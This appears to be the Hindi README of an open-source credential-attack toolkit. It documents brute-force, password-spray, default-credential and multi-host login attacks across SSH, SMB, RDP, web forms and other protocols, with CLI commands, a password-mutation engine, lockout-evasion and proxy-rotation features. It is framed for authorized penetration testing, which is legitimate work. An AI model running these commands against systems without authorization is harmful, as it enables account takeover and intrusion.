
credential-attacks-toolkit — Updated!
अधिकृत सुरक्षा परीक्षण के लिए पूर्ण क्रेडेंशियल हमला सुइट — SSH, FTP, वेब लॉगिन, ब्रूटफोर्स, डिक्शनरी हमले
CredAttack — क्रेडेंशियल अटैक टूलकिट
⚠️ कानूनी नोटिस — केवल अधिकृत सुरक्षा परीक्षण।
इस टूल का उपयोग उन सिस्टमों के विरुद्ध करना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (अमेरिका), कंप्यूटर मिसयूज़ एक्ट (यूके) और दुनिया भर के समकक्ष कानूनों के तहत अवैध है। देखें SECURITY.md।
विषय-सूची
- CredAttack क्या है?
- अटैक मोड
- समर्थित प्रोटोकॉल
- आर्किटेक्चर
- त्वरित प्रारंभ
- स्थापना
- CLI संदर्भ
- पासवर्ड म्यूटेशन इंजन
- डिफ़ॉल्ट क्रेडेंशियल डेटाबेस
- प्रॉक्सी रोटेशन
- HTML रिपोर्ट
- कॉन्फ़िगरेशन और पर्यावरण चर
- Docker
- परीक्षण
- प्रोजेक्ट संरचना
- योगदान
CredAttack क्या है?
CredAttack एक मॉड्यूलर, उत्पादन-ग्रेड क्रेडेंशियल परीक्षण सुइट है जो अधिकृत पैठ परीक्षण अभियानों के लिए है। यह पूर्ण क्रेडेंशियल-अटैक जीवनचक्र को कवर करता है:
| चरण | CredAttack क्षमता |
|---|---|
| टोह | डिफ़ॉल्ट क्रेड्स DB (200+ जोड़े), स्मार्ट उपयोगकर्ता-व्युत्पन्न पैटर्न जनरेशन |
| अटैक | 17 प्रोटोकॉल अटैकर, 6 अटैक मोड, बहु-लक्ष्य अभियान |
| चोरी-छिपे | लॉकआउट पहचान, कॉन्फ़िगर करने योग्य दर सीमा, जिटर, प्रॉक्सी रोटेशन |
| रिपोर्टिंग | JSONL ऑडिट लॉग, Jinja2 HTML रिपोर्ट, मिले-क्रेड्स बैनर + फ़ाइल डंप |
अटैक मोड
| मोड | कमांड | विवरण |
|---|---|---|
| डिक्शनरी | ssh, ftp, smb, … | एक उपयोगकर्ता के विरुद्ध वर्डलिस्ट |
| स्प्रे | spray | उपयोगकर्ता सूची में एक पासवर्ड (लॉकआउट-सुरक्षित) |
| कॉम्बो | combo | हर उपयोगकर्ता × हर पासवर्ड |
| स्मार्ट | smart | उपयोगकर्ता/कंपनी-व्युत्पन्न पैटर्न जनरेशन |
| डिफ़ॉल्ट्स | defaults | 200+ ज्ञात सेवा डिफ़ॉल्ट आज़माएँ |
| बहु-लक्ष्य | multi | होस्ट की सूची में समान अटैक |
| पूर्ण पाइपलाइन | full | सभी प्रोटोकॉल, एक रिपोर्ट |
समर्थित प्रोटोकॉल
| # | प्रोटोकॉल | मॉड्यूल | डिफ़ॉल्ट पोर्ट | नोट्स |
|---|---|---|---|---|
| 1 | SSH | ssh.py | 22 | paramiko, कुंजी/पासवर्ड प्रमाणीकरण |
| 2 | FTP | ftp.py | 21 | सक्रिय और निष्क्रिय मोड |
| 3 | HTTP फ़ॉर्म | http_form.py | 80/443 | स्वचालित CSRF टोकन पहचान |
| 4 | HTTP बेसिक | http_basic.py | 80 | RFC 7617 |
| 5 | HTTP डाइजेस्ट | http_digest.py | 80 | RFC 7616 |
| 6 | SMB | smb.py | 445 | impacket, NTLM |
| 7 | RDP | rdp.py | 3389 | impacket NLA |
| 8 | SMTP | smtp.py | 587 | STARTTLS |
| 9 | POP3 | pop3.py | 110 | APOP समर्थन |
| 10 | IMAP | imap.py | 143 | STARTTLS |
| 11 | MySQL | mysql.py | 3306 | mysql-connector-python |
| 12 | MSSQL | mssql.py | 1433 | pymssql |
| 13 | Redis | redis_proto.py | 6379 | AUTH कमांड |
| 14 | MongoDB | mongodb.py | 27017 | pymongo |
| 15 | WinRM | winrm.py | 5985 | NTLM, pywinrm |
| 16 | LDAP | ldap_proto.py | 389 | ldap3, rootDSE स्वचालित पहचान |
| 17 | Telnet | telnet.py | 23 | रॉ TCP |
| 18 | VNC | vnc.py | 5900 | रॉ DES चैलेंज-रिस्पॉन्स |
आर्किटेक्चर
credattack.py ← पतला शिम: `python credattack.py ...` एक चेकआउट से
│
├── credattack/cli.py ← CLI (Typer) — 8 अटैक-मोड उपकमांड; साथ ही
│ `credattack` कंसोल स्क्रिप्ट जब pip-स्थापित हो
├── credattack/core/
│ ├── config.py ← Pydantic v2 Settings, CREDATTACK_* env-var ओवरराइड
│ ├── engine.py ← AttackEngine (ThreadPoolExecutor + Rich प्रगति UI)
│ ├── lockout.py ← LockoutDetector (स्लाइडिंग-विंडो, थ्रेड-सुरक्षित)
│ ├── proxy.py ← ProxyRotator (राउंड-रॉबिन, स्वास्थ्य-जाँच, पदावनति)
│ ├── mutator.py ← PasswordMutator (leet, मौसमी, प्रत्यय, कीबोर्ड-वॉक…)
│ ├── result.py ← AttemptResult + SessionReport डेटाक्लास
│ ├── report.py ← Jinja2 HTML रिपोर्ट जनरेटर
│ └── logger.py ← Rich लॉगिंग + JSONL ऑडिट लेखक
│
├── credattack/protocols/
│ └── *.py ← 18 ProtocolAttacker कार्यान्वयन
│
├── credattack/data/
│ ├── default_creds.json ← 200+ वास्तविक डिफ़ॉल्ट क्रेडेंशियल जोड़े
│ ├── smart_patterns.json ← 140+ उद्यम पासवर्ड टेम्पलेट
│ └── wordlists/ ← प्रति-सेवा डिफ़ॉल्ट पासवर्ड सूचियाँ
│
└── tests/ ← 50+ pytest परीक्षण (यूनिट + प्रोटोकॉल मॉक)
त्वरित प्रारंभ
# क्लोन करें और सेट अप करें
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
# संस्करण जाँचें
python credattack.py --version
# ड्राई-रन (कोई कनेक्शन नहीं — अपनी वर्ड सूचियाँ सत्यापित करें)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run
# वास्तविक SSH डिक्शनरी अटैक
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt
# पासवर्ड स्प्रे (दर-सीमित, लॉकआउट-सुरक्षित)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30
# स्मार्ट मोड — उपयोगकर्ता + कंपनी से पैटर्न उत्पन्न करें
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME
# सेवा डिफ़ॉल्ट आज़माएँ
python credattack.py defaults -t 192.168.1.100 --protocol mysql
# बहु-लक्ष्य अभियान
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
स्थापना
विकल्प A — pip + virtualenv (अनुशंसित)
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt
विकल्प B — Makefile शॉर्टकट
make install # मुख्य निर्भरताएँ
make install-dev # + pytest-cov, ruff, mypy
विकल्प C — pip स्थापना (editable या wheel से)
pip install -e . # केवल मुख्य निर्भरताएँ
pip install -e .[full] # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev] # + pytest/ruff/mypy
credattack --version # कंसोल स्क्रिप्ट, `python credattack.py` के समतुल्य
विकल्प D — Docker
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help
# अपनी वर्डलिस्ट माउंट करें और आउटपुट एकत्र करें
docker run --rm \
-v $(pwd)/wordlists:/app/wordlists:ro \
-v $(pwd)/output:/app/output \
credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt
CLI संदर्भ
वैश्विक विकल्प
python credattack.py [OPTIONS] COMMAND [ARGS]...
Options:
-V, --version संस्करण दिखाएँ और बाहर निकलें।
--help सहायता दिखाएँ।
सामान्य फ़्लैग (सभी प्रोटोकॉल कमांड पर उपलब्ध)
| फ़्लैग | शॉर्ट | डिफ़ॉल्ट | विवरण |
|---|---|---|---|
--target | -t | — | लक्ष्य होस्ट / IP |
--port | 0 (प्रोटो डिफ़ॉल्ट) | TCP पोर्ट ओवरराइड करें | |
--username | -u | — | एकल उपयोगकर्ता नाम |
--user-file | -U | — | न्यूलाइन-पृथक उपयोगकर्ता नाम फ़ाइल |
--pass-file | -P | — | न्यूलाइन-पृथक पासवर्ड फ़ाइल |
--password | -p2 | — | एकल पासवर्ड |
--threads | -n | 10 | समवर्ती कार्यकर्ता |
--timeout | -T | 5.0 | प्रति-प्रयास टाइमआउट (सेकंड) |
--delay | -d | 0.0 | निश्चित अंतर-प्रयास विलंब (सेकंड) |
--jitter | 0.0 | अधिकतम यादृच्छिक जिटर (सेकंड) | |
--stop-on-first | True | पहली हिट के बाद प्रति-उपयोगकर्ता रोकें | |
--proxy-file | None | HTTP/SOCKS5 प्रॉक्सी सूची | |
--output-dir | -o | ./output | परिणाम निर्देशिका |
--verbosity | -v | 1 | लॉगिंग स्तर (0-3) |
--dry-run | False | कनेक्ट किए बिना जोड़े गिनें |
उपकमांड
# प्रोटोकॉल-विशिष्ट (प्रत्येक एक समर्पित अटैकर से मैप होता है)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
-t HOST -u USER -P passes.txt
# HTTP (फ़ॉर्म / बेसिक / डाइजेस्ट)
python credattack.py http -t http://target/login --mode form \
--form-user-field username --form-pass-field password --success-string "Dashboard"
# स्प्रे — एकल पासवर्ड, कई उपयोगकर्ता, लंबा विलंब
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30
# कॉम्बो — कार्टेशियन उत्पाद उपयोगकर्ता × पासवर्ड
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt
# स्मार्ट — OSINT-व्युत्पन्न जनरेशन
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp
# डिफ़ॉल्ट्स — विक्रेता डिफ़ॉल्ट क्रेडेंशियल आज़माएँ
python credattack.py defaults -t HOST --protocol mysql
# मल्टी — कई होस्टों पर समान अटैक
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
# फुल — क्रम में सभी प्रोटोकॉल
python credattack.py full -t HOST -U users.txt -P passes.txt
पासवर्ड म्यूटेशन इंजन
PasswordMutator in credattack/core/mutator.py रचनात्मक रणनीतियों का समर्थन करता है:
| रणनीति | विधि | उदाहरण आउटपुट |
|---|---|---|
| Leet-भाषा | leet_speak(word) | p@ssw0rd, p455w0rd |
| कैपिटलाइज़ेशन | capitalise_variants(word) | PASSWORD, Password, pAsSwOrD |
| प्रत्यय | suffix_append(word) | password123, password@2025 |
| उपसर्ग | prefix_append(word) | !password, mypassword |
| कीबोर्ड-वॉक | keyboard_walk(word) | qassword (a→q) |
| उपयोगकर्ता पैटर्न | username_patterns(user, company) | john123, Doe1!, ACME2024! |
| मौसमी (v1.1) | seasonal_patterns(company) | Summer2024!, Winter25 |
| विशेष-वर्ण रैप (v1.1) | special_char_wrap(word) | !@Password, Password!@ |
| संयोजन | combine(word, strategies) | उपरोक्त में से किसी को भी श्रृंखलाबद्ध करता है |
| स्मार्ट (सभी-एक-में) | smart_generate(user, company) | डीडुप किया हुआ, सीमित स्ट्रीम |
from credattack.core.mutator import PasswordMutator
m = PasswordMutator(max_mutations=5000)
# सभी रणनीतियाँ संयुक्त
for pw in m.smart_generate("john.doe", company="ACME"):
print(pw)
# केवल मौसमी पैटर्न
for pw in m.seasonal_patterns(company="Contoso"):
print(pw)
डिफ़ॉल्ट क्रेडेंशियल डेटाबेस
credattack/data/default_creds.json में 200+ वास्तविक डिफ़ॉल्ट क्रेडेंशियल जोड़े शामिल हैं:
Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI
# किसी सेवा के लिए सभी डिफ़ॉल्ट देखें
python credattack.py defaults -t HOST --protocol mysql --dry-run
# लक्ष्य के विरुद्ध चलाएँ
python credattack.py defaults -t 10.0.0.1 --protocol ssh
प्रॉक्सी रोटेशन
प्रॉक्सी फ़ाइल पास करें (प्रति पंक्ति एक प्रॉक्सी, host:port प्रारूप):
# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt
ProxyRotator स्टार्टअप पर स्वास्थ्य-जाँच करता है और उन प्रॉक्सी को पदावनत करता है जो विफलता-दर सीमा से अधिक होती हैं। मृत प्रॉक्सी स्वचालित रूप से बाहर कर दी जाती हैं।
HTML रिपोर्ट
प्रत्येक गैर-ड्राई-रन अटैक के बाद ./output/ में एक HTML रिपोर्ट स्वचालित रूप से उत्पन्न होती है:
- स्टेट कार्ड: कुल प्रयास, सफलता दर, अवधि, प्रयास/सेकंड
- मिले क्रेडेंशियल तालिका: होस्ट · प्रोटोकॉल · उपयोगकर्ता नाम · पासवर्ड (कॉपी-टू-क्लिपबोर्ड)
- डार्क-थीम Jinja2 टेम्पलेट
# रन के बाद खोलें
start output/report_*.html # Windows
open output/report_*.html # macOS
कॉन्फ़िगरेशन और पर्यावरण चर
credattack/core/config.py में सभी सेटिंग्स को CREDATTACK_* पर्यावरण चर के माध्यम से ओवरराइड किया जा सकता है:
export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2
या CLI स्तर पर मानक फ़्लैग (--threads, --timeout, आदि) के साथ।
Docker
# इमेज बनाएँ
docker build -t credattack -f docker/Dockerfile .
# Docker Compose के साथ चलाएँ
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt
# पर्यावरण के माध्यम से कॉन्फ़िगरेशन सेट करें
docker run --rm \
-e CREDATTACK_THREADS=20 \
-e CREDATTACK_TIMEOUT=3 \
-v $(pwd)/output:/app/output \
credattack defaults -t 10.0.0.1 --protocol mysql
परीक्षण
# सभी परीक्षण चलाएँ
pytest -q
# कवरेज के साथ
pytest --cov=credattack --cov-report=term-missing -q
# Makefile शॉर्टकट
make test-cov
वर्तमान सुइट: 50+ परीक्षण कवर करते हैं:
| क्षेत्र | परीक्षण |
|---|---|
| लॉकआउट डिटेक्टर (स्लाइडिंग विंडो, थ्रेड सुरक्षा) | test_lockout.py |
| पासवर्ड म्यूटेटर रणनीतियाँ | test_mutator.py |
| नई म्यूटेटर रणनीतियाँ (मौसमी, विशेष-वर्ण) | test_mutator_extended.py |
| प्रॉक्सी रोटेटर (स्वास्थ्य-जाँच, पदावनति) | test_proxy.py |
| परिणाम और SessionReport डेटाक्लास | test_result.py |
| SSH प्रोटोकॉल मॉक | test_protocols_ssh.py |
| FTP प्रोटोकॉल मॉक | test_protocols_ftp.py |
| HTTP बेसिक और डाइजेस्ट मॉक | test_protocols_http.py |
वर्डलिस्ट
⚠️ बंडल की गई
wordlists/फ़ाइलें न्यूनतम स्मोक-टेस्ट स्टब हैं। वास्तविक मूल्यांकन के लिए अपनी स्वयं की आपूर्ति करें।
अनुशंसित स्रोत
| वर्डलिस्ट | आकार | सर्वोत्तम के लिए |
|---|---|---|
rockyou.txt | ~14 M | सामान्य डिक्शनरी |
SecLists/Passwords/ | विभिन्न | प्रोटोकॉल-विशिष्ट |
kaonashi.txt | ~64 M | उन्नत कवरेज |
| OSINT-व्युत्पन्न | परिवर्तनशील | लक्षित अटैक |
# किसी भी बाहरी वर्डलिस्ट का उपयोग करें
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt
प्रोजेक्ट संरचना
credential-attacks-toolkit/
├── credattack.py # पतला शिम -> credattack.cli:app (स्रोत-चेकआउट उपयोग)
├── pyproject.toml # PEP 517/518 बिल्ड और टूल कॉन्फ़िग
├── requirements.txt # रनटाइम निर्भरताएँ
├── Makefile # डेवलपर शॉर्टकट
├── VERSION # संस्करण सत्य का एकल स्रोत
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│ └── workflows/ci.yml # GitHub Actions: lint + test matrix + mypy
├── docker/
│ ├── Dockerfile
│ └── docker-compose.yml
├── credattack/
│ ├── cli.py # CLI (Typer) — पैकेज्ड, कंसोल स्क्रिप्ट का समर्थन करता है
│ ├── core/
│ │ ├── config.py # Pydantic v2 Settings
│ │ ├── engine.py # AttackEngine (ThreadPoolExecutor)
│ │ ├── lockout.py # LockoutDetector (स्लाइडिंग विंडो)
│ │ ├── proxy.py # ProxyRotator
│ │ ├── mutator.py # PasswordMutator
│ │ ├── result.py # AttemptResult, SessionReport
│ │ ├── report.py # HTML रिपोर्ट जनरेटर
│ │ └── logger.py # Rich लॉगर + JSONL लेखक
│ ├── protocols/ # 18 ProtocolAttacker कार्यान्वयन
│ │ └── base.py # सार ProtocolAttacker
│ └── data/
│ ├── default_creds.json # 200+ विक्रेता डिफ़ॉल्ट
│ ├── smart_patterns.json # 140+ उद्यम टेम्पलेट
│ └── wordlists/ # प्रति-सेवा प्रारंभिक सूचियाँ
├── attacks/ # स्टैंडअलोन एकल-फ़ाइल उपकरण (credattack/ से पहले के;
│ └── *.py # अभी तक पोर्ट न किए गए स्क्रिप्ट के लिए रखे गए: JWT क्रैकिंग,
│ # WAF पहचान, समय-आधारित उपयोगकर्ता गणना)
├── utils/
│ └── credential_utils.py # attacks/ स्क्रिप्ट के लिए साझा सहायक
├── tests/
│ ├── conftest.py # साझा फिक्स्चर
│ ├── test_lockout.py
│ ├── test_mutator.py
│ ├── test_mutator_extended.py
│ ├── test_proxy.py
│ ├── test_result.py
│ ├── test_protocols_ssh.py
│ ├── test_protocols_ftp.py
│ └── test_protocols_http.py
├── wordlists/ # न्यूनतम स्मोक-टेस्ट स्टब
└── output/ # उत्पन्न लॉग और रिपोर्ट (git-अनदेखा)
अटैक सफलता दर (संकेतात्मक)
| पासवर्ड प्रकार | डिक्शनरी | स्मार्ट मोड | स्प्रे (सामान्य) |
|---|---|---|---|
| 4 वर्ण | ~90% | ~95% | ~60% |
| 6 वर्ण | ~65% | ~75% | ~25% |
| 8 वर्ण मिश्रित | ~15% | ~25% | ~5% |
| 10+ वर्ण जटिल | <5% | <5% | <1% |
योगदान
देखें CONTRIBUTING.md।
बड़े PR सबमिट करने से पहले कृपया एक issue खोलें।
सभी योगदानों को SECURITY.md में नैतिक उपयोग नीति का पालन करना चाहिए।
जिम्मेदारी से उपयोग करें। नैतिक रूप से परीक्षण करें। कानूनी बने रहें।